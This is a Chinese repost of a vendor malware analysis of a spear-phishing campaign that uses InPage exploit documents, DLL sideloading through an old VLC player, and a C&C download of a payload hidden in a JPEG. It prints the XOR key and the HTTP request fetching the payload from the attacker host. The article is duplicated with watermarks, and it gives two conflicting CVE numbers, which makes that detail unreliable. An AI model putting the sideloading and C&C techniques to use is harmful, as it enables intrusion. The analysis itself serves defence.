使用恶意的InPage文档和老旧版本的VLC媒体播放器实施后门攻击
最近,Office 365安全团队发现,有攻击者以特定语言文字(乌尔都语、波斯语、普什图语和阿拉伯语等)的处理软件为目标,进行攻击,该攻击利用了InPage的一个漏洞。由此可见,我们不仅要防范大规模恶意软件活动,还要防范小规模和本地化的攻击。
本次恶意活动的75%的目标都位于巴基斯坦,另外也包含一些欧洲和美国的国家,甚至还包含政府机构。
攻击目标的地理分布
此前,Palo Alto和Kaspersky的研究人员曾分别发表过关于使用恶意InPage文档发动攻击的分析文章。除了他们发布的文章之外,针对这类攻击的公开研究非常有限。
本次攻击是Office 365团队在6月发现的,攻击步骤如下:
1.攻击者发出带有恶意InPage文档的鱼叉式网络钓鱼电子邮件,文件名为hafeez saeed speech on 22nd April.inp;
2.该恶意文档包含CVE-2017-12824的漏洞利用代码,这是InPage中的缓冲区溢出漏洞,攻击者利用该漏洞投放了一个易受DLL劫持攻击的老旧版本的合法VLC媒体播放器;
3.侧载恶意DLL调用到命令和控制(C&C)站点,该站点触发以JPEG文件格式编码的恶意软件进行下载和执行;
4.最后,攻击者可以在受感染的计算机上远程执行任意命令。
攻击流程
Office 365高级威胁防护(ATP)通过检测攻击中使用的鱼叉式网络钓鱼电子邮件中的恶意InPage附件来保护客户免受此类攻击。Office 365 ATP检查电子邮件附件和恶意内容链接,并提供实时防御攻击。
Office 365 ATP利用来自不同数据源的大量威胁情报,并集成来自Windows Defender ATP和Azure ATP等多种服务的信号。例如,Windows Defender Antivirus会检测此攻击中使用的恶意文件和文档。此外,Windows Defender ATP中的端点检测和响应(EDR)功能可检测此次攻击中观察到的DLL侧载和恶意行为。通过在Microsoft威胁防护中集成Office 365 ATP和其他Microsoft安全技术,我们的解决方案可以协调检测和修复。
恶意InPage文档的使用过程
在附有恶意InPage诱饵文档的电子邮件被攻击目标打开后,该文档利用了CVE-2017-12842漏洞,这是InPage中允许任意代码执行的漏洞。当打开恶意InPage文档时,它会进行解密并执行嵌入式恶意DLL文件的shellcode。解密例程是使用解密密钥“27729984h”的简单XOR函数。
第一个DLL解密函数
第1阶段:DLL侧载和C&C通信
解密的恶意DLL包含嵌入在PE资源部分中的两个文件。第一个资源文件名为200,它是VLC媒体播放器的合法版本(产品版本:2.2.1.0,文件版本:2.2.1)。资源部分中的第二个文件名为400,这是一个模仿合法文件Libvlc.dll的DLL劫持程序。
运行时,第1阶段恶意软件会自动删除VLC媒体播放器可执行文件和%TEMP%文件夹中的恶意Libvlc.dll,然后运行VLC媒体播放器进程。
此时,易受攻击的VLC媒体播放器进程会在其加载目录中搜索已删除的文件Libvlc.dll,随后将找到并加载恶意DLL,执行其恶意功能。
恶意Libvlc.dll导出的函数
VLC媒体播放器进程导入的Libvlc.dll函数
Libvlc.dll中最有趣的恶意代码位于libvlc_wait()函数中,恶意代码会动态解析API调用以连接到攻击者C&C服务器并下载JPEG文件。如果无法访问C&C服务器,则恶意软件将调用API sleep() 5秒钟,并试图再次调用攻击者。
恶意函数libvlc_wait()中的C&C调用
如果成功下载了JPEG文件logo.jpg,则libvlc_wait()中的恶意代码会自动跳过JPEG文件的前20个字节,并创建一个线程来执行嵌入的有效载荷,JPEG文件中的代码使用Shikata ga nai进行编码,Shikata ga nai是一种定制的多态shellcode编码器或解码器。
下面是发送到C&C下载恶意文件logo.jpg的HTTP请求示例:
GET /assets/vnc/logo.jpg HTTP/1.1
Accept: */*
Host: useraccount.co
HTTP/1.1 200 OK
Date: Mon, 09 Jul 2018 13:45:49 GMT
Server: Apache/2.4.33 (cPanel) OpenSSL/1.0.2o mod_bwlimited/1.4 Phusion_Passenger/5.1.12
Upgrade: h2,h2c
Connection: Upgrade
Last-Modified: Mon, 09 Apr 2018 07:19:20 GMT
ETag: "26e0378-2086b-56965397b5c31"
Accept-Ranges: bytes
Content-Length: 133227
Content-Type: image/jpeg
嵌入在JPEG文件中的HTTP GET请求
Whois的历史记录显示,C&C服务器于2018年3月20日注册。
Domain Name: useraccount.co
Registry Domain ID: D2169366F46A14BCD9EB42AF48BEA813C-NSR
Registrar WHOIS Server:
Registrar URL: whois.publicdomainregistry.com
Updated Date: 2018-03-20T14:04:40Z
Creation Date: 2018-03-20T14:04:40Z
Registry Expiry Date: 2019-03-20T14:04:40Z
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: addPeriod https://icann.org/epp#addPeriod
最近,Office 365安全团队发现,有攻击者以特定语言文字(乌尔都语、波斯语、普什图语和阿拉伯语等)的处理软件为目标,进行攻击,该攻击利用了InPage的一个漏洞。由此可见,我们不仅要防范大规模恶意软件活动,还要防范小规模和本地化的攻击。
本次恶意活动的75%的目标都位于巴基斯坦,另外也包含一些欧洲和美国的国家,甚至还包含政府机构。
攻击目标的地理分布
此前,Palo Alto和Kaspersky的研究人员曾分别发表过关于使用恶意InPage文档发动攻击的分析文章。除了他们发布的文章之外,针对这类攻击的公开研究非常有限。
本次攻击是Office 365团队在6月发现的,攻击步骤如下:
1.攻击者发出带有恶意InPage文档的鱼叉式网络钓鱼电子邮件,文件名为hafeez saeed speech on 22nd April.inp;
2.该恶意文档包含CVE-2017-12824的漏洞利用代码,这是InPage中的缓冲区溢出漏洞,攻击者利用该漏洞投放了一个易受DLL劫持攻击的老旧版本的合法VLC媒体播放器;
内容来自无奈安全网
3.侧载恶意DLL调用到命令和控制(C&C)站点,该站点触发以JPEG文件格式编码的恶意软件进行下载和执行;
4.最后,攻击者可以在受感染的计算机上远程执行任意命令。
攻击流程
Office 365高级威胁防护(ATP)通过检测攻击中使用的鱼叉式网络钓鱼电子邮件中的恶意InPage附件来保护客户免受此类攻击。Office 365 ATP检查电子邮件附件和恶意内容链接,并提供实时防御攻击。
Office 365 ATP利用来自不同数据源的大量威胁情报,并集成来自Windows Defender ATP和Azure ATP等多种服务的信号。例如,Windows Defender Antivirus会检测此攻击中使用的恶意文件和文档。此外,Windows Defender ATP中的端点检测和响应(EDR)功能可检测此次攻击中观察到的DLL侧载和恶意行为。通过在Microsoft威胁防护中集成Office 365 ATP和其他Microsoft安全技术,我们的解决方案可以协调检测和修复。
恶意InPage文档的使用过程
在附有恶意InPage诱饵文档的电子邮件被攻击目标打开后,该文档利用了CVE-2017-12842漏洞,这是InPage中允许任意代码执行的漏洞。当打开恶意InPage文档时,它会进行解密并执行嵌入式恶意DLL文件的shellcode。解密例程是使用解密密钥“27729984h”的简单XOR函数。 本文来自无奈人生安全网
第一个DLL解密函数
第1阶段:DLL侧载和C&C通信
解密的恶意DLL包含嵌入在PE资源部分中的两个文件。第一个资源文件名为200,它是VLC媒体播放器的合法版本(产品版本:2.2.1.0,文件版本:2.2.1)。资源部分中的第二个文件名为400,这是一个模仿合法文件Libvlc.dll的DLL劫持程序。
运行时,第1阶段恶意软件会自动删除VLC媒体播放器可执行文件和%TEMP%文件夹中的恶意Libvlc.dll,然后运行VLC媒体播放器进程。
此时,易受攻击的VLC媒体播放器进程会在其加载目录中搜索已删除的文件Libvlc.dll,随后将找到并加载恶意DLL,执行其恶意功能。
恶意Libvlc.dll导出的函数
无奈人生安全网
VLC媒体播放器进程导入的Libvlc.dll函数
Libvlc.dll中最有趣的恶意代码位于libvlc_wait()函数中,恶意代码会动态解析API调用以连接到攻击者C&C服务器并下载JPEG文件。如果无法访问C&C服务器,则恶意软件将调用API sleep() 5秒钟,并试图再次调用攻击者。
恶意函数libvlc_wait()中的C&C调用
如果成功下载了JPEG文件logo.jpg,则libvlc_wait()中的恶意代码会自动跳过JPEG文件的前20个字节,并创建一个线程来执行嵌入的有效载荷,JPEG文件中的代码使用Shikata ga nai进行编码,Shikata ga nai是一种定制的多态shellcode编码器或解码器。
下面是发送到C&C下载恶意文件logo.jpg的HTTP请求示例:
GET /assets/vnc/logo.jpg HTTP/1.1
Accept: */*
Host: useraccount.co
HTTP/1.1 200 OK
Date: Mon, 09 Jul 2018 13:45:49 GMT
Server: Apache/2.4.33 (cPanel) OpenSSL/1.0.2o mod_bwlimited/1.4 Phusion_Passenger/5.1.12
Upgrade: h2,h2c
Connection: Upgrade
无奈人生安全网
Last-Modified: Mon, 09 Apr 2018 07:19:20 GMT
ETag: "26e0378-2086b-56965397b5c31"
Accept-Ranges: bytes
Content-Length: 133227
Content-Type: image/jpeg
嵌入在JPEG文件中的HTTP GET请求
Whois的历史记录显示,C&C服务器于2018年3月20日注册。
Domain Name: useraccount.co
Registry Domain ID: D2169366F46A14BCD9EB42AF48BEA813C-NSR
Registrar WHOIS Server:
Registrar URL: whois.publicdomainregistry.com
Updated Date: 2018-03-20T14:04:40Z
Creation Date: 2018-03-20T14:04:40Z
Registry Expiry Date: 2019-03-20T14:04:40Z
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: addPeriod https://icann.org/epp#addPeriod
本文来自无奈人生安全网